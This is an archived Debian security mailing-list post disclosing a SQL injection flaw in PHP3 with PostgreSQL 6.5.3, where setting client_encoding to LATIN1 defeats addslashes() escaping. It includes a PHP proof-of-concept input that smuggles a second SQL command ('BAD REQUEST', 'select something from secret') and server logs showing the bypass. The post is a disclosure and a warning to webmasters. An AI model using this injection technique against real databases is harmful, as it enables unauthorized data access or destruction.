[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: Security problem in PHP3+Postgres with Potato?



Hi,

In March the 25th, I wrote a line about a security problem with 
PHP3+postgres+apache shipped with Potato, due to character encoding. The 
security team judged it wasn't a security problem, so I suppose I can 
publish details about the problem.

apache         1.3.9-14
php3           3.0.18-0potato
php3-pgsql     3.0.18-0potato
postgresql     6.5.3-27

%<----------------------------------------
   $conn = pg_connect("dbname=" . BASE_DOC . " port=" . BASE_PORT
                    . " user=" . BASE_USER);
   $var="é\'; BAD REQUEST";
   //pg_exec($conn, "SET client_encoding = 'LATIN1'");
   $request = "SELECT col FROM tab WHERE col='" . addslashes($var) . "'";
%<----------------------------------------
(BAD REQUEST is here something like DROP TABLE for example)

If client_encoding line is commented,

%<----------------------------------------
InitPostgres
         reset_client_encoding()..
         reset_client_encoding() done.
StartTransactionCommand
query: SET client_encoding = 'SQL_ASCII'
ProcessUtility: SET client_encoding = 'SQL_ASCII'
CommitTransactionCommand
StartTransactionCommand
query: SELECT col FROM tab WHERE col='é\\\'; BAD REQUEST'
ProcessQuery
CommitTransactionCommand
%<----------------------------------------

Backslash and apostroph are escaped. No problem.

If client_encoding line is uncommented, é and the next char are 
converted into (XXXX) (X alphanumeric). Don't know precisely why.

%<----------------------------------------
StartTransactionCommand
query: SET client_encoding = 'SQL_ASCII'
ProcessUtility: SET client_encoding = 'SQL_ASCII'
CommitTransactionCommand
StartTransactionCommand
query: SET client_encoding = 'LATIN1'
ProcessUtility: SET client_encoding = 'LATIN1'
CommitTransactionCommand
StartTransactionCommand
query: SELECT col FROM tab WHERE col='(81e9)\\'; BAD REQUEST'
ProcessQuery
ProcessQuery
CommitTransactionCommand
%<----------------------------------------

Backslash is escaped, but not apostroph.

Postgres is configured with LANG=fr_FR.

It works with PHP3+Apache+Postgres, PHP3-cgi+Postgres and 
PHP4-cgi+Postgres (not tested with PHP4+Apache+Postgres, but should be 
the same), on a Potato box.

My poor analysis:

It looks like PHP and Postgres don't agree on the character encoding.
%<----------------------
InitPostgres
         reset_client_encoding()..
         reset_client_encoding() done.
StartTransactionCommand
query: select getdatabaseencoding()
ProcessQuery
CommitTransactionCommand
StartTransactionCommand
query: SET client_encoding = 'SQL_ASCII'
ProcessUtility: SET client_encoding = 'SQL_ASCII'
%<----------------------
PHP sets the client_encoding to SQL_ASCII and doesn't allow other
settings ( pg_set_client_encoding is PHP 3 CVS only and PHP 4 >= 4.0.3 ;
cf http://www.php.net/manual/en/function.pg-set-client-encoding.php ).
But I interfered when manually setting client_encoding to LATIN1.

The other point is Postgres 6.5.3 from Potato allow bad requests:
%<----------------------
StartTransactionCommand
query: SELECT col FROM tab WHERE col='(81e9)\\'; select something from
secret'
ProcessQuery
CommitTransactionCommand
%<----------------------
Postgres 7.x from Woody doesn't allow them. You got an 
AbortTransactionCommand, due to the last apostroph (I tried to 
circumvent it without success: you need to introduce an other apostroph
or a \-comment (like \z or \!), which implies new trick with encoding,
which means an other (81e9) and it can't be parsed). In other words,
Postgres 7.x parse all the commands before doing them, and abort if it
can't parse.

Please note my analysis could be wrong, incomplete or incoherent,

I found this problem while trying to display correct iso8859-1 entities 
on a PHP3 web page (data coming from Postgres). I set client_encoding, 
did some tests and saw I could pass a bad request to execute arbitrary 
SQL.I think people should be warned not to set client_encoding to latin1
before a fix is available. Any webmaster using PHP+Postgres and setting 
client_encoding to latin1 on his/her/its PHP pages allows arbitrary SQL 
to be passed through his/her/its forms for example.

In my example, the code is written by the webmaster, except the $var
which comes from a form for example. If the webmaster voluntarily sets
the client_encoding, the bug can be used. This is more than a simple
bug, since the result of a client_encoding request 1) doesn't do want I
want correcly and 2) allows arbitrary SQL request, even if I feeled
secure with my addslashes().

Ps: sorry for mime/multipart, a poorly configured SMTP server
("X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3") rewrites my
plain text emails. Reported three weeks ago to the admin, but still no
change.

Regards,

-- 
Benoît Sibaud
R&D Engineer - France Telecom


--
To UNSUBSCRIBE, email to debian-security-request@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



Reply to: